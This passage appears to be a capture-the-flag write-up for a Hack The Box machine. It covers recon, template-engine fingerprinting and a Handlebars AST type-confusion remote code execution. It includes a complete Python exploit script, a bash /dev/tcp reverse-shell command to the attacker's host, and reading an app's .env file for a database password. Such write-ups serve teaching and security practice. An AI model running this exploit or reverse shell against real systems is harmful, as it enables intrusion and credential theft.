Hack The Box - HTB DarkZero Returns Writeup - Hard - Weekly - July 25th, 2026
Difficulty: Hard · OS: Windows two-forest Active Directory, reached through a Linux edge host
Chain: Handlebars AST type-confusion RCE → credential reuse → Gitea CI pipeline poisoning
→ service-account takeover → ksu name-collision local root → DA via reused DB password →
cross-forest golden ticket (SID-filter bypass) → SeBackupPrivilege → DCSync → root
1. Redaction key & script conventions
All instance-specific secrets are stripped: IPs, flags, passwords, hashes, SIDs, tokens.
Every script below reads these from environment variables instead of hardcoding them, so
the scripts are complete and functional — you populate the variables from your own recon as you go.
| Placeholder / env var | What it is | Where it comes from |
|---|---|---|
$TARGET |
public IP of the box | HTB machine panel |
$ATTACKER |
your tun0 IP |
ip -4 addr show tun0 |
$DC01 $DC02 $SRV01 |
internal AD hosts | discovered post-pivot, §7 |
$INT_CIDR |
internal subnet | routing table on the edge host |
$OFF |
seconds the DC clock leads yours | computed in §2.3 |
$DB_PASS |
app MySQL password | .env via RCE, §5 |
$JOSH_PASS |
domain user josh |
crack app bcrypt, §5 |
$CELIA_PASS |
domain user celia (DA) |
crack backup bcrypt, §12 |
$GIT_PASS |
password for the Gitea account you self-register | you choose it |
$ROOTPRINC_PASS |
password for the AD principal you create | you choose it |
$EXT_SID $HTB_SID |
domain SIDs, no RID | bloodyAD get object ... --attr objectSid |
$KRBTGT_AES |
.ext krbtgt AES256 key |
DCSync as celia, §13 |
$DC01_NT |
DC01 machine account NT hash | offline hive parse, §14 |
$ADMIN_NT |
.htb Administrator NT hash |
DCSync as DC01$, §14 |
$PUBKEY |
your SSH public key contents | ssh-keygen, §10 |
Flag values are omitted entirely.
2. Approach — how we worked the box, and environment prep
2.1 Overall method
Before any exploitation, three structural facts changed how we approached everything after:
- Only two ports are open, and the box is billed as Windows. That mismatch is the whole shape of the box: the thing you can reach directly is a thin Linux edge, and the real target — a two-forest AD estate — is entirely hidden behind it. This told us the web app was not "a service to break for its own sake" but a pivot vehicle, so we prioritized finding some command execution primitive over finding a clean/elegant one.
ksuand Kerberos-heavy tooling meant clock skew would dominate debugging time if we
didn't solve it up front — Kerberos failures ("clock skew too great", "ticket not yet
valid") look identical to authentication failures, and we didn't want to misattribute a
skew problem to a wrong password or a broken exploit. So skew handling (faketime) was
built before touching AD, not bolted on when the first weird error appeared.- A Linux member server joined via SSSD is itself a domain identity provider. Any
local shell we got on it was worth checking against/etc/nsswitch.conf/sssd.conf/realm listimmediately, because SSSD-joined hosts routinely have looser
login policies than the DC itself (this paid off directly — see §6).
The rest of the write-up follows the natural dependency order the box enforces: you cannot skip to the Gitea stage without the pivot, cannot pivot without a domain credential, and cannot get a domain credential without the web RCE. But within each stage we describe the dead ends we hit first, because most of them are natural things to try and the reason they fail is instructive (SID filtering, SeBackupPrivilege scope, CREATE_CHILD invisibility in BloodHound, etc).
2.2 MTU
sudo ip link set dev tun0 mtu 1300
Why this had to be figured out first: early in this box, large requests (a sizeablegit push, a big JSON PUT) simply hung forever with zero error output, while everything
else — logins, small API calls, SSH — worked fine. That asymmetry (works small, hangs big)
is the signature of a path-MTU black hole, not a broken exploit or a dead service. The
HTB VPN silently drops any packet larger than roughly 1300 bytes instead of fragmenting or
returning ICMP "too big." Once diagnosed, the fix is a standing rule: cap tun0 at 1300.
Consequential detail: tun0 resets to MTU 1500 on every VPN reconnect. If something
that worked an hour ago starts hanging again with no config change on your end, check this
before anything else.
2.3 Name resolution
$TARGET dzcampaigns.htb
# added after the pivot (§7) — do not resolve before then
$DC01 dc01.darkzero.htb darkzero.htb DC01
$DC02 gitea.darkzero.ext dc02.darkzero.ext darkzero.ext DC02
$SRV01 srv01.darkzero.ext SRV01
2.4 Clock skew
We noticed the DCs were dramatically time-shifted the moment the first Kerberos attempt failed with a skew error despite a correct password — which told us this wasn't a wrong-credential problem. Rather than fight systemd-timesyncd (it kept dragging the local clock back mid-operation, invalidating tickets we'd just gotten), we settled on presenting DC time only to the specific commands that need it, via faketime:
OFF=$(( $(date -u -d "$(curl -sSI http://gitea.darkzero.ext:3000/ \
| grep -i '^Date:' | sed 's/^[Dd]ate: //' | tr -d '\r')" +%s) - $(date -u +%s) ))
echo $OFF # → $OFF, roughly 25200 (~7 hours)
Any HTTP service on a domain-joined host is a usable time oracle — the Date: header is precise enough for Kerberos' ~5-minute tolerance.
Standing rule for the rest of the box: on Kali, prefix every Kerberos-touching
command with faketime -f "+${OFF}s". On SRV01 once we have a shell there, never — that host's clock is already synced to the DC, and applying the offset a second time breaks things instead of fixing them. This distinction cost real time on the first attempt at this box and is worth internalizing before you start.
2.5 /etc/krb5.conf
Both realms, DNS lookups disabled (internal DNS answers were inconsistent through the pivot,
and rdns in particular handed back the wrong SPN on at least one lookup):
[libdefaults]
default_realm = DARKZERO.EXT
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
[realms]
DARKZERO.EXT = { kdc = $DC02 admin_server = $DC02 }
DARKZERO.HTB = { kdc = $DC01 admin_server = $DC01 }
[domain_realm]
.darkzero.ext = DARKZERO.EXT
darkzero.ext = DARKZERO.EXT
.darkzero.htb = DARKZERO.HTB
darkzero.htb = DARKZERO.HTB
3. Recon
nmap -p- --min-rate 5000 -Pn $TARGET
nmap -p22,80 -sCV -Pn $TARGET
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http nginx 1.24.0 (Ubuntu) → redirects to http://dzcampaigns.htb/
Two ports, Ubuntu banners, but the machine is labeled Windows — as discussed in §2.1 this is the load-bearing observation of the whole recon phase. Add the vhost and move on to the app; there is nothing else to enumerate at the network layer yet.
echo "$TARGET dzcampaigns.htb" | sudo tee -a /etc/hosts
Cookie/header inspection (whatweb, or just watching Set-Cookie): the app sets dz.sid — an express-session signed cookie — and returns a weak ETag. That's enough to place this
as a custom Node/Express application, not an off-the-shelf CMS, which sets the expectation that any vulnerability here is bespoke rather than a known CVE we can just search for by product name.
4. Web app reconnaissance: "DarkZero Campaigns"
A D&D-themed campaign manager. Registration is open. After logging in, the interesting
surface is character creation (/character/new), which has a campaign_message field
whose default placeholder text is itself a template:
A new face emerges! The {{race}} {{class}} {{name}} has joined the campaign...
That placeholder is the tell — it means the field is rendered through some templating engine, and since the message is echoed back non-blind in the campaign log (GET /campaign/1), we have direct visibility into the render output. Two things ruled out immediately, both worth mentioning because they're the obvious next things to try and both
were dead ends:
/dice— looked promising for a server-side RNG attack, but it's 100% client-side (crypto.getRandomValues). No server involvement at all.- Brute-forcing login — rate-limited at roughly 10 attempts / 900s. Not viable, not needed.
4.1 Fingerprinting the template engine
We didn't assume Handlebars — we tested candidate syntaxes against the render sink to rule engines in or out:
| Input | Result | Inference |
|---|---|---|
{{7*7}} |
HTTP 400 (parse error) | strict parser — arithmetic isn't valid syntax here |
{{race}} |
renders correctly | the field name works as a normal variable |
{{#if true}}IFOK{{/if}} |
→ IFOK |
Handlebars-specific literal/block handling |
{% if true %}...{% endif %} |
rendered literally, not evaluated | rules out Nunjucks/Jinja2/Liquid — that syntax means nothing to this engine |
| `{{#with "s" as | x | }}WITHOK{{/with}}` |
Conclusion: Handlebars, and a reasonably modern one (block params supported).
4.2 The obvious SSTI payload — and why it fails
The standard Handlebars RCE walks the prototype chain through a helper:
{{#with "s" as |string|}}{{#with (string.sub.apply 0 "console.log(process.mainModule.require('child_process').execSync('id'))")}}{{/with}}{{/with}}
This returns an empty render, not an error — s.constructor access is silently
blocked. That's the signature of Handlebars' built-in prototype access guard
(allowedProtoMethods / allowedProtoProperties, present since Handlebars ≥ 4.6): it's not that the template is malformed, it's that the engine is actively refusing to resolve .constructor off a primitive. Trying variations on this theme (different primitives, different chained property paths) is not going to get further — the guard is a property filter applied at property-access time, so any path through .constructor is caught the same way. We stopped pushing on this axis and asked a different question: is there a way to get code execution that doesn't go through the runtime proto guard at all?
4.3 The actual bug — CVE-2026-33937 (Handlebars AST type-confusion)
Handlebars.compile() has always accepted two distinct input shapes, which is easy to miss because almost everyone only ever passes the first:
- a string — the normal case, which the library parses into an AST and then compiles;
- an already-parsed AST object — used internally / by tooling that pre-parses — which
is compiled directly, skipping the parser entirely.
compile() distinguishes the two by checking whether the input is an object with.type === 'Program'. This matters because the runtime proto guard we just hit in §4.2 is
enforced by the parser/runtime helpers, not by the code generator — if we can hand compile() a pre-built AST, we bypass the layer that was blocking us, because we're no longer relying on any helper call the guard instruments.
The code generator assumes any AST it receives came from its own parser, and therefore trusts node types without re-validating them. In particular, it emits aNumberLiteral's .value into the generated JavaScript unquoted — reasonable, since a genuine number literal can never contain syntax that needs escaping:
// conceptually, inside the codegen:
case 'NumberLiteral': return String(node.value); // no quoting, no escaping — "trusted"
If .value is a string instead of a number, that's a type confusion the generator never
checks for, and the string's contents are spliced raw into the compiled function body. That
is arbitrary JavaScript execution at template-compile time — a different, and much stronger,
primitive than the guarded runtime helper calls of §4.2.
The remaining problem: the app's form field is a plain HTML <textarea>, so a normal
submission always arrives as a string, never an object. Express's JSON body parser
solves this — if the app calls express.json() (a near-universal default) and we sendContent-Type: application/json instead of the form's normalapplication/x-www-form-urlencoded, the same field can be posted as a nested JSON object.
The application code passes whatever it receives straight to Handlebars.compile() without
checking that it's a string first. That's the full bug: user-controlled AST reaches an
API that trusts AST node types, delivered via a body-parser type confusion the app never
guards against.
(We also noted the box pins handlebars@4.7.8 — the last version affected before this class
of bug was patched — in package.json, which confirmed we had the right vulnerability class
once we found it, though the fingerprinting in §4.1–4.2 is what actually led us here rather
than reading the manifest first.)
4.4 Constructing the payload
The injected string must be syntactically valid at the exact point the generator splices it
in. Empirically (and confirmable by reading generated Handlebars output), a helper call in
generated code is shaped roughly like helper.call(depth0, arg0, arg1)). Our poisonedNumberLiteral sits in the arg1 position, so our string has to:
- close the argument list and the call parentheses we're sitting inside:
{},{})) - concatenate our own expression into the output buffer:
+ <js> - comment out whatever the generator planned to emit next, since we can't predict or
balance it syntactically://
value = "{},{})) + process.mainModule.require('child_process').execSync('<cmd>').toString() //"
Gadget choice matters and is version-dependent. The target runs Node < 22.3, where process.getBuiltinModule doesn't exist yet — you must useprocess.mainModule.require('child_process'). On Node ≥ 22.3 that call is unavailable and you'd need the reverse. Keep both gadgets in the exploit and let the target decide.
We chose the built-in lookup helper ({{lookup this X}}) as the carrier because it's (a)
guaranteed to exist without touching user templates, and (b) takes exactly two arguments,
matching the two-argument call shape we needed to break out of.
4.5 Full exploit script
hbs_rce.py — handles account bootstrap (register-then-login, since a fresh box spawn has
no account yet), delivers the AST payload as a JSON body, and reads the rendered output back
out of the campaign log:
#!/usr/bin/env python3
# CVE-2026-33937 - Handlebars AST type-confusion RCE
# Target: DarkZero Campaigns -> campaign_message sink
import os, re, sys, requests
BASE = f"http://{os.environ.get('DZ_HOST', 'dzcampaigns.htb')}"
USER = "user"
EMAIL = "user@user.user"
PASS = "HelloWorld@#"
CAMPAIGN = "1"
# Node <=22: process.mainModule.require | Node >=22.3: process.getBuiltinModule
GADGETS = {
"mainModule": "process.mainModule.require('child_process').execSync('{cmd}').toString()",
"builtin": "process.getBuiltinModule('child_process').execSync('{cmd}').toString()",
}
s = requests.Session()
def csrf(path):
r = s.get(BASE + path, timeout=20)
m = re.search(r'name="_csrf" value="([^"]+)"', r.text)
return m.group(1) if m else None
def register():
t = csrf("/register")
r = s.post(BASE + "/register", data={"_csrf": t, "username": USER,
"email": EMAIL, "password": PASS},
timeout=20, allow_redirects=False)
print(f"[*] register -> {r.status_code} {r.headers.get('Location','')}")
return r.status_code == 302
def login():
t = csrf("/login")
r = s.post(BASE + "/login", data={"_csrf": t, "email": EMAIL, "password": PASS},
timeout=20, allow_redirects=False)
print(f"[*] login -> {r.status_code} {r.headers.get('Location','')}")
return r.status_code == 302
def ast(cmd, gadget="mainModule"):
js = GADGETS[gadget].format(cmd=cmd.replace("'", "\\'"))
return {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": {"type": "PathExpression", "data": False, "depth": 0,
"parts": ["lookup"], "original": "lookup", "loc": None},
"params": [
{"type": "PathExpression", "data": False, "depth": 0,
"parts": [], "original": "this", "loc": None},
{"type": "NumberLiteral",
"value": "{},{})) + " + js + " //", # string, not number: the confusion
"original": 1, "loc": None},
],
"escaped": True,
"strip": {"open": False, "close": False},
"loc": None,
}],
"strip": {},
"loc": None,
}
def run(cmd, name, gadget="mainModule"):
t = csrf("/character/new")
body = {"_csrf": t, "name": name, "race": "Elf", "class": "Rogue",
"backstory": "x", "campaign_id": CAMPAIGN,
"campaign_message": ast(cmd, gadget)}
r = s.post(BASE + "/character", json=body, timeout=25, allow_redirects=False)
print(f"[*] inject ({gadget}) -> HTTP {r.status_code}")
return r.status_code
def last_messages(n=3):
r = s.get(f"{BASE}/campaign/{CAMPAIGN}", timeout=20)
msgs = re.findall(r"<div class=\"message\">\s*<p>(.*?)</p>", r.text, re.S)
for m in msgs[-n:]:
print("---\n" + m.strip())
if __name__ == "__main__":
cmd = sys.argv[1] if len(sys.argv) > 1 else "id"
gadget = sys.argv[2] if len(sys.argv) > 2 else "mainModule"
if not login():
print("[*] login failed, registering fresh account")
register()
if not login():
sys.exit("[-] login failed after register")
run(cmd, "rce" + str(abs(hash(cmd)) % 9999), gadget)
last_messages()
Run it (set DZ_HOST if your /etc/hosts entry differs):
python3 hbs_rce.py 'id; hostname'
# [*] login failed, registering fresh account
# [*] register -> 302 /login
# [*] login -> 302 /dashboard
# [*] inject (mainModule) -> HTTP 200
# ---
# uid=996(darkzero) gid=987(darkzero) groups=987(darkzero)
# SRV01
Note — intermittent HTTP 400. Character names are derived fromhash(cmd), so
re-running the exact same command string collides with the previous character and 400s.
Login is also rate-limited (~10/900s). A 400 here is virtually always one of those two
causes, not a broken payload — vary the command slightly (or just retry) before spending
time re-deriving the AST.
Get a real shell (detach with setsid so execSync doesn't block the HTTP request waiting
for a process that never exits):
python3 hbs_rce.py "setsid bash -c 'bash -i >& /dev/tcp/\$ATTACKER/9001 0>&1' >/dev/null 2>&1 &"
→ reverse shell as darkzero on SRV01.
5. Post-exploitation on SRV01 — pivoting to a domain credential
With a shell as darkzero, the obvious next move for any Node app is to check its own config:
cat ~/.env
# PORT=8081 DB_HOST=localhost DB_USER=darkzero
# DB_PASSWORD=$DB_PASS DB_NAME=darkzero_campaigns
# SESSION_SECRET=<redacted>
The session secret isn't useful to us directly (we're not forging our own app sessions for anything), but the DB password lets us read the app's own user table — worth checking because web apps frequently store credentials that turn out to be reused elsewhere, and that instinct pays off twice on this box (here, and again in §12):